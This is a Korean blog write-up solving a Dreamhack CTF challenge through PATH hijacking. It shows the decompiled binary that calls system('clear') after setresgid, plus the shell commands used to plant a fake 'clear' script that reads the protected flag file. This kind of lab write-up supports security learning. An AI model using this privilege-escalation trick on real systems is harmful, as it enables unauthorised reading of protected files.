본문 바로가기

Dreamhack/MISC

[Dreamhack][MISC] Path Finder

728x90

1.문제 분석

  • 환경변수 조작
  • 명령어 PATH 조작

2. 기본 아이디어

  1. ./chal의 코드를 열어본다.
  2. 환경변수를 '현재 디렉토리 우선'으로 바꿔준다.
  3. 그렇다면 바뀐 clear 코드가 상승된 권한으로 ./chal에서 실행될 것이다.

3.문제 풀이

IDA로 열어본

 

./chal의 내용은 다음과 같다.

 

int __fastcall main(int argc, const char **argv, const char **envp) {

setresgid(0x3E9u, 0x3E9u, 0x3E9u);

system("clear");

puts("Tada~!");

return 0; }

 

setresgid로 권한을 상승시키고, clear라는 명령어를 실행하는 것을 볼 수 있다.

 

하지만 flag파일은 permission denied이므로 열 수 없다.

 

그렇다면 chal을 통해 flag를 여는 방법밖에는 존재하지 않다.

 

가장 수상한 내용인

 

system("clear")를 봐야한다.

 

우분투에서 명령어들은 대부분 /usr/bin 아래에 있다.

 

clear도 /usr/bin/clear 파일의 내용을 실행하는 것이기 때문에

 

clear 명령어의 참조 기준만 바꿔버리면 내가 직접 clear 파일의 내용을 마음대로 적어서

 

system("clear")를 통해 실행시킬 수 있을 것이다.

 

따라서

 

$ echo 'cat flag' > clear

$ chmod +x clear

 

명령어를 적어서 clear파일을 만들고

 

실행권한을 주자.

 

$ export PATH=.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

 

명령어를 통해 현재 파일을 우선적으로 참조하도록 만들어주자.

 

위 명령어에서 .은 현재 디렉토리 참조, 그다음은 기존 환경변수 내용이므로

 

현재 디렉토리부터 참조한다.

 

이제 chal을 실행해보면 플래그가 나온다.

 

flag

 

728x90